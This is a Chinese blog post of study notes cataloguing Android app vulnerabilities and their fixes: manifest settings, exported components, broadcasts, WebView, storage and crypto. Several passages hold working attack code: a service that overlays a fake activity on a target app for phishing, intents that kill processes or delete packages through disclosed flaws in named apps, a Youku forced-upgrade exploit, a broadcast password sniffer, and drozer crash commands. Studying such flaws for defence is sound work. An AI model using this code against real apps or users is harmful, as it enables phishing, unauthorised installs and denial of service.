本文最后更新于:2022年2月18日 晚上
菜鸡准备开始尝试挖洞了。先来张图。
AndroidManifest配置相关的详情或漏洞 程序被任意调试 详情:AndroidManifest.xml中android:debuggable=”true”。
危害:导致app可以被任意调试
建议:将true改为false即可。
程序数据任意备份 详情:AndroidManifest.xml中android:allowBackup=”true”。
危害:导致app应用数据可以被备份导出。
建议:将true改为false即可。
组件暴露:建议使用android:protectionLevel=”signature”验证调用来源。
Activity组件 详情:Activity组件的exported被设置为true,或者未设置exported同时IntentFilter不为空时,可通过设置intent唤起activity。
危害:构造恶意数据对导出的activity进行越权攻击。
建议:exported设置为false,对组件进行权限控制和参数校验
参考学习:https://bbs.pediy.com/thread-269211.htm#msg_header_h3_1
越权绕过 越权绕过界面验证。
1 2 3 防护策略: (1 )私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false (2 )公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export 属性为true ,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
钓鱼欺诈/Activity劫持
复现
1 2 3 4 实现步骤: 启动一个服务 不断扫描当前进程 找到目标后弹出伪装窗口
android6.0 劫持成功:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 public class S1hackingService extends Service { private boolean isStart; HashMap<String, Class<?>> map = new HashMap<String, Class<?>>() ; Handler handler = new Handler() ; Runnable mTask = new Runnable() { @Override public void run() { Log . e("TAG" , "ABC" ); int i = 1 ; List<AndroidAppProcess> appProcessInfos = AndroidProcesses . getRunningAppProcesses() ; Log . e("TAG" , "=================正在枚举进程=======================" ); for ( AndroidAppProcess appProcessInfo: appProcessInfos){ Log . w("TAG" ,appProcessInfo.name); try { Stat stat = appProcessInfo.stat() ; int pid = stat.getPid() ; int parentProcessId = stat.ppid() ; long startTime = stat.stime() ; int policy = stat.policy() ; char state = stat.state() ; Log . w("TAG" ,"pid:" +pid+" parentProcessId:" +parentProcessId+" startTime:" +startTime+" policy:" +policy+" state:" +state); } catch (IOException e) { e.printStackTrace() ; } boolean isForeground = appProcessInfo.foreground; Log . e("TAG============" , appProcessInfo.name); if (isForeground) { if (map.containsKey(appProcessInfo .name ) ){ Log . e("准备劫持" , appProcessInfo.name); s1hacking(appProcessInfo.name); }else { Log . e("not us need app" , appProcessInfo.name); } } } handler.postDelayed(mTask , 8000) ; } private void s1hacking(String arg){ if (!S1hackingApplication . judgeProgress(arg ) ){ Intent localIntent = new Intent(S1hackingService.this .getBaseContext () , S1hackingService . this.map.get(arg)); localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) ; S1hackingService . this.getApplication() .startActivity(localIntent ) ; S1hackingApplication . addProgress(arg ) ; Log . e("TAG====hs1hacking" ,"已经劫持成功" ); } } }; @Nullable @Override public IBinder onBind(Intent intent ) { return null; } public void onCreate() { super.onCreate() ; if (!isStart){ map.put("com.mwr.example.sieve" , SecondActivity .class ); this.handler.postDelayed(this .mTask , 1000) ; isStart = true ; } } @Override public boolean stopService(Intent name ) { isStart = false ; Log . e("TAG====s1hacking" ,"劫持服务停止" ); S1hackingApplication . clearProgress() ; return super.stopService(name ) ; } }
拒绝服务攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 拒绝服务攻击源于程序没有对Intent。getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者向应用发送此类空数据、异常或者畸形数据来达到致使该应用crash的目的,我们可以通过intent发送空数据、异常或畸形数据给正常应用,导致其崩溃。本地拒绝服务可以被竞争方利用来攻击,使得自己的应用崩溃,造成破坏。 危害:拒绝服务漏洞对于锁屏应用、安全防护类软件危害是巨大的 安全防护: (1 )空指针异常、类型转换异常、数组越界访问异常、类未定义异常、其它异常 (2 )谨慎处理接收的intent以及其携带的信息,对接收到的任何数据做try/catch处理,以及对不符合预期数据做异常处理 总结:1 .不需要被外部调用的activity设置android:exported="false" ;2 .若需要外部调用,需自定义signature或者signatureOrSystem级别的权限;3 .注册的组件请严格校验输入参数,注意空值判定和类型转换判断 > run app.activity .info -a com.mwr .example .sieve > run app.activity .start --component com.mwr .example .sieve com.mwr .example .sieve .PWList
Service组件 同Activity组件暴露相同。
参考学习:https://bbs.pediy.com/thread-269255.htm
权限提升漏洞 1 2 当一个service配置了intent-filter 默认是被导出的,如果没对调用Service进行权限限制或者是没有对调用者的身份进行有效验证,那么恶意构造的APP都可以对此Service传入恰当的参数进行调用,导致恶意行为发生比如调用具有system 权限的删除卸载服务删除卸载其他应用。
猎豹清理大师内存清理权限泄露漏洞
1 2 Android应用程序猎豹清理大师(原金山清理大师)4.0 .1 及以下版本存在权限泄漏漏洞,泄露的权限为android.permission .RESTART_PACKAGES,用来结束进程来达到清理内存的目的。当没有申请此权限的app向猎豹清理大师发送相应的intent时,便可以结束后台运行的部分app进程。 猎豹清理大师暴露了com.cleanmaster .appwidget .WidgetService服务组件(详见下图),当向此服务发送action为com.cleanmaster .appwidget .ACTION_FASTCLEAN的intent时,便可结束后台运行的一些app进程。
1 2 3 4 5 6 Intent intent = new Intent ();intent .setAction("com.cleanmaster.appwidget.ACTION_FASTCLEAN" );intent .setPackage("com.cleanmaster.appwidget.WidgetService" ); startService(intent ); 通过Intent 隐私启动,给服务发送action 为com.cleanmaster.appwidget.ACTION_FASTCLEAN的intent 时,便可结束后台运行的一些app进程
乐phone手机任意软件包安装删除漏洞
1 2 3 4 5 6 7 8 9 乐phone手机出厂默认包含一个名为jp.aplix.midp.tools的应用包。本应用以system权限运行,并向其他应用提供ApkInstaller服务,用来进行对Apk文件的安装和删除。通过向ApkInstaller服务传递构造好的参数,没有声明任何权限的应用即可达到安装和删除任意Package的行为,对系统安全性产生极大影响。 Intent in = new Intent() ;in .setComponent(new ComponentName("jp.aplix.midp.tools" ,"jp.aplix.midp.tools.ApkInstaller" ) );in .putExtra("action" , "deleteApk" ) ;in .putExtra("pkgName" , "xxxxx" ) ; startService(in ) ; 通过Intent隐式启动,外部服务启动的方式,启动action为deleteApk的服务,来达到删除任意Package的行为
service劫持 1 攻击原理:隐式启动services,当存在同名services,先安装应用的services优先级高
消息伪造 1 暴露的Service对外接收Intent ,如果构造恶意的消息放在Intent 中传输,被调用的Service接收可能产生安全隐患
优酷Android 4.5客户端升级漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 优酷Android 4.5 客户端组件暴露导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装! 源代码: protected void onHandleIntent(Intent intent ) { Intent v0; String v23; Serializable pushMsg = intent.getSerializableExtra("PushMsg" ) ; ...... AppVersionManager . getInstance(Youku.context ) .showAppAgreementDialog() ; switch(pushMsg.type ) { case 1 : { goto label_53; } ...... } ...... label_53: intent.setFlags(876609536) ; intent.setClass(this , UpdateActivity.class ) ; intent.putExtra("updateurl" , pushMsg .updateurl ) ; intent.putExtra("updateversion" , pushMsg .updateversion ) ; intent.putExtra("updatecontent" , pushMsg .updatecontent ) ; intent.putExtra("updateType" , 2) ; this.startActivity(intent ) ; return; ...... 分析: 我们可以发现从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type 来执行不同的流程,当type 值为1 时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址。 攻击:1. 创建一个Android App程序,在主Activity中的关键代码如下: PushMsg pushMsg = new PushMsg() ; pushMsg.type = 1 ; pushMsg.updateurl = "http://gdown.baidu.com/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk" ; pushMsg.updatecontent = "This is Fake" ; Intent intent = new Intent() ; intent.setClassName("com.youku.phone" ,"com.youku.service.push.StartActivityService" ) ; intent.putExtra("PushMsg" , pushMsg ) ; startService(intent ) ; 其中PushMsg类不需要完整实现,只需要编译通过即可;2. 反编译优酷客户端的App得到smali代码,从中提取出PushMsg . smali;3. 反编译上述创建的APK文件,将原PushMsg类的smali文件替换为优酷中的PushMsg . smali文件,重新打包签名;4. 安装并运行重打包后的APK,会看到优酷的升级页面触发,如果设计的好的话,是可以诱导用户安装攻击者指定的APK文件的。
拒绝服务攻击 同Activity
雪球最新Android客户端存在空指针异常及信息泄露漏洞
1 2 雪球客户端版本:4.1 adb shell 下执行下面命令,虚拟机将崩溃。愿意在于空指针调用
防护 1 2 3 4 5 6 7 8 9 10 11 12 安全防护: (1 )私有service不定义int ent-filter并且设置exported为false (2 )公开的service设置exported为true ,int ent-filter可以定义或者不定义 (3 )合作service需对合作方的app签名做校验 (4 )只被应用本身使用的service应设置为私有 (5 )service接收的数据需要谨慎处理 (6 )内部service需要使用签名级别的protectionLevel来判断是否未内部应用调用 (7 )不应在service创建(onCreate方法被调用)的时候决定是否提供服务,应在onStartCommand/onBind/onHandleIntent等方法被调用时做判断 (8 )当service又返回数据的时候,因判断数据接收app是否又信息泄露的风险 (9 )有明确的服务需调用时使用显示意图 (10 )尽量不发送敏感信息 (11 )启动Activity时不设置int ent的FLAG_ACTIVITY_NEW_TASK标签
ContentProvider组件 BroadcastReceiver组件 参考学习:https://bbs.pediy.com/thread-269309.htm
1 2 3 4 5 1. 广播机制分为广播发送者和广播接收者。2. 应用场景 不同组件/不同应用之间进行通信、多线程通信、与Android系统通信 3. 广播机制模型 使用了设计模式中的观察者模式,三个基本角色:消息订阅者/发布者,消息中心(AMS)
1 2 3 4 4 . 广播机制流程: 自定义广播接收者BroadcastReceiver 广播接收者注册:静态注册(AndroidManifest.xml中的<receiver>),动态注册(代码中调用 registerReceiver) 广播发送者定义和发送广播:本质是定义Intent ,发送广播通过sendBroadcast ()
1 2 3 两种广播分类: 1.标准广播和有序广播 2.普通广播、系统广播、有序广播、粘性广播、App 应用内广播
敏感信息泄露 案例1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 intent没有明确的接收者,恶意应用可注册接收者接收广播,如果存在敏感数据,则被窃取。 假如有应用广播只设置了action: public void test(View view) { Intent s1 = new Intent() ; s1.setAction("com.test.broadcast.receiver" ) ; s1.putExtra("password" ,"s1lenc3" ) ; s1.addFlags(0x1000000) ; sendBroadcast(s1 ) ; } 我们可以编写攻击应用代码: public void onReceive(Context context , Intent intent ) { String pwd = null; if (intent.getAction() .equals("com.test.broadcast.receiver" )){ pwd = intent.getStringExtra("password" ) ; } System . out.println(pwd); } <receiver android:name=".ReceiverTest" android:exported="true" android:enabled="true" > <intent-filter> <action android:name="com.test.broadcast.receiver" /> </intent-filter> </receiver> 可使用本地广播方式修复: LocalBroadcastManager . getInstance(this ) .sendBroadcast(s1 ) ;
案例2:Android 操作系统中通过 RSSI 广播暴露敏感数据 (CVE-2018-9581)
权限绕过 1 可以通过静态注册和动态注册两种方式注册广播接收器,动态注册的广播默认都是导出的,如果导出的BroadcastReceiver没有做权限控制,导致BroadcastReceiver组件可以接收一个外部可控的url 、或者其他命令,导致攻击者可以越权利用应用的一些特定功能,比如发送恶意广播、伪造消息、任意应用下载安装、打开钓鱼网站等
案例1:小米MIUI漏洞可能导致硬件资源消耗
案例2:酷派最安全手机s6拨打电话权限绕过
案例3:酷派最安全手机s6程序锁绕过
消息伪造 1 暴露的Receiver对外接收Intent ,如果构造恶意的消息放在Intent 中传输,被调用的Receiver接收可能产生安全隐患
案例1:百度云盘手机版钓鱼、信息泄露和代码执行高危漏洞三合一
拒绝服务 1 2 如果敏感的BroadcastReceiver没有设置相应的权限保护,很容易受到攻击。最常见的是拒绝服务攻击。拒绝服务攻击指的是,传递恶意畸形的int ent数据给广播接收器,广播接收器无法处理异常导致crash。 拒绝服务攻击的危害视具体业务场景而定,比如一个安全防护产品的拒绝服务、锁屏应用的拒绝服务、支付进程的拒绝服务等危害就是巨大的。
案例1:QQ手机管家拒绝服务漏洞
案例2:fourgoats.apk拒绝服务攻击崩溃
1 2 3 4 dz> run app.broadcast .info -a org.owasp .goatdroid .fourgoats Package: org.owasp .goatdroid .fourgoats org.owasp .goatdroid .fourgoats .broadcastreceivers .SendSMSNowReceiver Permission: null
1 2 3 4 5 发送广播测试: run app.broadcast .send --action org.owasp .goatdroid .fourgoats .SOCIAL_SMS --extra string phoneNumber 111111 --extra string message s1lenc3 发送恶意广播,intent传入畸形数据或空数据: run app.broadcast .send --action org.owasp .goatdroid .fourgoats .SOCIAL_SMS 程序崩溃。
安全防护
私有广播接收器设置exported=false,并且不配置intent-filter。(私有广播接收器依然能接收到同UID的广播)。
对接收来的广播进行验证。
内部app之间的广播使用protectionLevel=signature验证其是否真是内部app。
返回结果时需注意接收app是否会泄露信息。
发送的广播包含敏感信息时需指定广播接收器,使用显示意图或者setPackage(String packageName)。
使用LocalBroadcastManager。
Intent Scheme URLs攻击 详情:在AndroidManifest.xml设置Scheme协议之后,可以通过浏览器打开对应的Activity。
危害:通过访问浏览器构造Intent语法唤醒app相应组件,可能导致拒绝服务甚至越权调用以及提权漏洞。
建议:对数据进行安全检查,配置category filter,添加android.intent.category.BROWSABLE方式规避风险。
信息泄露漏洞 继续参考看雪大佬的系列文章学习:https://bbs.pediy.com/thread-271122.htm
1 信息泄露首先要知道Android系统数据的几种存储方式:文件存储、SharedPreferences、网络存储、SQLite数据库、ContentProvider。下面对这几种存储方式进行介绍。
文件存储 大佬给的图已经很清晰了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 内部存储: 内部存储一般是在/data/ 目录下,只有root后的手机可以访问这个文件夹,重点有以下几类文件夹: /data/ app/ 这个文件夹存储手机上安装的apk文件 /data/ data/包名/ share_prefs 存储对应的应用程序中的shareprefence存储文件 /data/ data/包名/ cache 存储对应的应用程序中的cache缓存文件 /data/ data/包名/ databases 存储对应的应用程序中的数据库文件 /data/ data/包名/ files 存储对应的应用程序中的资源文件 上图中也有提到在代码中获取这些文件的API,在内部存储文件夹里,只能访问自己app的数据,并且app卸载后,这些文件数据也被删除。 外部存储: 外部存储分为私有目录和公有目录,公有目录任何程序都可以访问,应用卸载,数据不删除,私有目录只有自身可以访问,应用卸载,数据随之 删除。 私有目录地址:/storage/ emulated/0/ Android/data/ packagename,可以直接通过Activity或Context进行调用API获取文件数 据。./cache文件夹下是应用的缓存文件,./ files下是存放应用的数据。 公有目录:/storage/ extSdCard/Android/ data/packagename/ files,公有目录需要申请读写权限,在AndroidManifest.xml文件 中进行注册,在代码中可通过Enviroment进行API调用来访问公有目录的文件。 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
SharedPreferences SharedPreferences是一个轻量级的存储类,特别适合用于保存软件配置参数。(是用xml文件存放数据,文件存放在/data/data/pack
agename/shared_prefs目录下)。
存储数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 1 、使用Activity类的getSharedPreferences方法获得SharedPreferences对象;2 、使用SharedPreferences接口的edit获得SharedPreferences.Editor对象;3 、通过SharedPreferences.Editor接口的putXXX方法保存key-value对;4 、通过过SharedPreferences.Editor接口的commit方法保存key-value对。 SharedPreferences sharedPreferences = getSharedPreferences("data" , MODE_PRIVATE) ; SharedPreferences.Editor editor = sharedPreferences.edit() ; ...... editor.putString("username" , value1 ) ; editor.putString("passwd" , value2 ) ; editor.commit() ;
读取数据
1 2 3 4 SharedPreferences pref = getSharedPreferences("data" ,MODE_PRIVATE) ; String name = pref.getString("username" ) ;int age = pref.getInt("number" ) ; boolean isExist = pref.getBoolean("isExist" ) ;
WebView组件及服务器通信相关的风险或漏洞 webview存在本地Java接口 详情:android的webview组件有一个非常特殊接口函数addJavascriptInterface,能实现本地java与js之间交互。
危害:targetSdkVersion小于17时,利用此接口可以远程执行任意代码。
建议:不使用此接口,使用注入javascript和第三方协议的替代方案。
WebView组件远程代码执行(调用getClassLoader) 详情:targetSdkVersion小于17时,并在Context子类中使用addJavascriptInterface绑定this对象。
危害:通过调用getClassLoader绕过getClass方法的限制。
建议:targetSdkVersion大于17。
WebView忽略SSL证书错误 详情:WebView调用onReceivedSslError方法时,直接执行handler.proceed()来忽略该证书错误。
危害:可能引起中间人攻击。
建议:不要重写onReceivedSslError方法,或者对错误进行业务判断。
WebView启用访问文件数据 详情:setAllowFileAccess(true),可通过webview访问私有目录下的文件数据。
危害:此方法默认为true,绕过同源策略能够对私有目录文件进行访问,导致隐私泄漏。
建议:设置为false,禁止访问私有文件数据。
SSL通信服务端/客户端检测信任任意证书 详情:自定义SSL x509 TrustManager,重写checkServerTrusted/checkClientTrusted方法,方法内不做任何服务端的证书校验。
危害:中间人攻击。
建议:双端进行严格证书校验。
HTTPS关闭主机名验证 详情:构造HttpCLient时,HostnameVerifier参数为ALLOW_ALL_HOSTNAME_VERIFIER或空。
危害:中间人攻击。
建议:加密通信被还原为明文通信。
开放socket端口 详情:App绑定端口进行监听,建立连接后可接收外部发送的数据。
危害:构造恶意数据对端口进行测试,对于绑定了0.0.0.0的app可发起远程攻击。
建议:绑定127.0.0.1,对接受数据进行校验检测。
数据安全风险 数据存储 SD卡数据被第三方程序访问 详情:存储在SD卡中的内容可以调用getExternalStorageDirectory访问。
建议:存储信息到私有目录,对敏感数据加密。
全局File可读写漏洞-openFileOutput 详情:openFileOutput方法创建内部文件时,将文件设置了全局的可读权限MODE_WORLD_READABLE/MODE_WORLD_WRITEABLE。。
危害:恶意读取文件内容。
建议:确认是否存在敏感数据,删除全局可读/写属性。
私有文件泄漏风险-getSharedPreferences 配置文件可读可写 详情:getSharedPreferences第二个参数为MODE_WORLD_READABLE 或MODE_WORLD_WRITEABLE。
危害:信息泄漏,篡改内容,影响程序正常运行。
建议:参数设置MODE_PRIVATE。禁止使用MODE_WORLD_READABLE |MODE_WORLD_WRITEABLE模式。
数据加密 AES弱加密 详情:使用“AES/ECB/NoPadding”或“AES/ECB/PKCS5padding”的模式。
危害:破解难度低。
建议:使用cbc或cfb加密模式。
随机数不安全使用 详情:调用SecureRandom类中的setSeed方法。
危害:生成的随机数具有确定性,存在被破解的可能性。
建议:使用/dev/urandom或/dev/random来初始化伪随机数生成器。
AES/DES硬编码密钥 详情:加密时采用硬编码在程序中。
危害:通过反编译获取密钥可以轻易揭秘APP通信数据。
建议:密钥加密存储或进行加解密运算。
文件目录遍历类漏洞 Provider文件目录遍历 详情:Provider被导出并且覆写了openFile方法,没有对Content Query Uri进行有效判断或过滤。
危害:利用openFile接口进行文件目录遍历,可达到访问任意可读文件的目的。
建议:不覆写openFile方法,对参数进行安全校验。
unzip解压缩漏洞 详情:解压zip,使用getName获取压缩文件名后未进行校验。
危害:构造恶意zip文件,覆盖相应的的文件导致任意代码执行。
建议:解压文件时,判断是否有../特殊字符。
文件格式解析类漏洞 FFmpeg文件读取 详情:使用了低版本的FFmpeg库进行视频解码。
危害:低版本可能存在本地文件读取漏洞,可以通过构造恶意文件获取本地文件内容。
建议:升级最新版。
安卓“Janus”漏洞 详情:在原始apk前部添加一个恶意的classes.dex文件(A文件),安卓系统在校验时计算了A文件的hash值,并以“classes.dex”为字符串作为key保存,然后计算原本的classes.dex(B文件),同样的key保存,之后将会覆盖A文件的hash值,系统认为apk没有被修改,完成安装,运行apk会优先执行文件A,忽略B。
危害:绕过安卓系统的signature scheme V1签名机制,进而直接对App进行篡改。
建议:禁止安装多个同名apk文件。
内存堆栈类漏洞 未使用编译器堆栈保护技术 详情:stack canaries漏洞缓解技术,函数调用时,向栈帧内压入额外的canary随机数,栈溢出时,canary先被覆盖,之后才是ebp和返回地址。函数返回时,会将canary与.data副本的值进行比较,不相同,说明发生了栈溢出。
危害:发生栈溢出时系统不会对程序进行保护。
建议:使用NDK编译so时,在Android.mk文件中添加:LOCAL_CFLAGS := -Wall -O2 -U_FORTIFY_SOURCE -fstack-protector-all
未使用地址空间随机化技术 详情:PIE,地址随机分配。
危害:shellcode执行难度降低,攻击成功率增加。
建议:NDK编译so时,加入LOCAL_CFLAGS := -fpie -pie开启对PIE的支持。
libupnp栈溢出漏洞 详情:使用了低于1.6.18版本的libupnp库文件。
危害:代码执行。
建议:升级库到1.6.18版本或以上。
动态类漏洞 DEX文件动态加载 详情:使用DEXClassLoader加载外部apk,dex等文件,外部文件无法控制时,无法保证加载的文件是否安全。
危害:加载恶意dex文件会导致任意命令的执行。
建议:加载外部文件前,必须使用校验签名或MD5等方式确认外部文件的安全性。
动态注册广播 详情:使用registerReceiver动态注册的广播在组件的生命周期里是默认导出的。
危害:拒绝服务、数据泄露、越权调用。
建议:使用带权限检验的registerReceiver API进行动态广播的注册。
校验或限定不严导致的风险或漏洞 Fragment注入 详情:通过导出的PreferenceActivity的子类,没有正确处理intent的extra值。
危害:攻击者可绕过限制访问未授权页面。
建议:使用isValidFragment方法中进行fragment名的合法性校验。
隐式意图调用 详情:封装Intent时采用隐式设置,只设定action,未限定具体的接受对象,导致intent可被其他应用获取并读取其中的数据。
危害:Intent被第三方劫持,导致内部隐私数据泄漏。
建议:改为显示调用。
命令行调用类相关的风险或漏洞 动态链接库中包含执行命令的函数 详情:native程序,执行系统命令时,对接收的参数执行命令时没有做过滤或检验。
危害:攻击者传入任意命令,导致命令执行。
建议:对参数进行严格过滤。
其他 应用反编译 漏洞 :APK 包非常容易被反编译成可读文件,稍加修改就能重新打包成新的 APK。利用 :软件破解,内购破解,软件逻辑修改,插入恶意代码,替换广告商 ID。建议 :使用 ProGuard 等工具混淆代码,重要逻辑用 NDK 实现。例子 :反编译重打包 FlappyBird,把广告商 ID 换了,游戏改加插一段恶意代码等等。
数据的存储与传输 漏洞 :外部存储(SD 卡)上的文件没有权限管理,所有应用都可读可写。开发者把敏感信息明文存在 SD 卡上,或者动态加载的 payload 放在 SD 卡上。利用 :窃取敏感信息,篡改配置文件,修改 payload 逻辑并重打包。建议 :不要把敏感信息放在外部存储上面;在动态加载外部资源的时候验证文件完整性。
漏洞 :使用全局可读写(MODE_WORLD_READABLE,MODE_WORLD_WRITEABLE)的内部存储方式,或明文存储敏感信息(用户账号密码等)。利用 :全局读写敏感信息,或 root 后读取明文信息。建议 :不适用全局可读写的内部存储方式,不明文存储用户账号密码。
密码泄露 漏洞 :密码明文存储,传输。利用 :
root 后可读写内部存储。
SD 卡全局可读写。
公共 WiFi 抓包获取账号密码。
建议 :实用成熟的加密方案。不要把密码明文存储在 SD 卡上。
组件暴露 (Activity, Service, Broadcast Receiver, Content Provider) 漏洞 :
组件在被调用时未做验证。
在调用其他组件时未做验证。
利用 :
调用暴露的组件,达到某种效果,获取某些信息,构造某些数据。(比如:调用暴露的组件发短信、微博等)。
监听暴露组件,读取数据。
建议 :验证输入信息、验证组件调用等。android:exported 设置为 false。使用 android:protectionLevel=”signature” 验证调用来源。
WebView 漏洞 :
恶意 App 可以注入 JavaScript 代码进入 WebView 中的网页,网页未作验证。
恶意网页可以执行 JavaScript 反过来调用 App 中注册过的方法,或者使用资源。
利用 :
恶意程序嵌入 Web App,然后窃取用户信息。
恶意网页远程调用 App 代码。更有甚者,通过 Java Reflection 调用 Runtime 执行任意代码。
建议 :不使用 WebView 中的 setJavaScriptEnabled(true),或者使用时对输入进行验证。
其他漏洞
ROOT 后的手机可以修改 App 的内购,或者安装外挂 App 等。
Logcat 泄露用户敏感信息。
恶意的广告包。
利用 next Intent。
总结 Android 应用的漏洞大部分都是因为开发人员没有对输入信息做验证造成的,另外因为 Intent 这种特殊的机制,需要过滤外部的各种恶意行为。再加上 Android 应用市场混乱。所以现在 Android 应用的漏洞,恶意软件,钓鱼等还在不断增多。再加上 root 对于 App 沙箱的破坏,Android 升级的限制。
文章:https://www.zhihu.com/question/22933619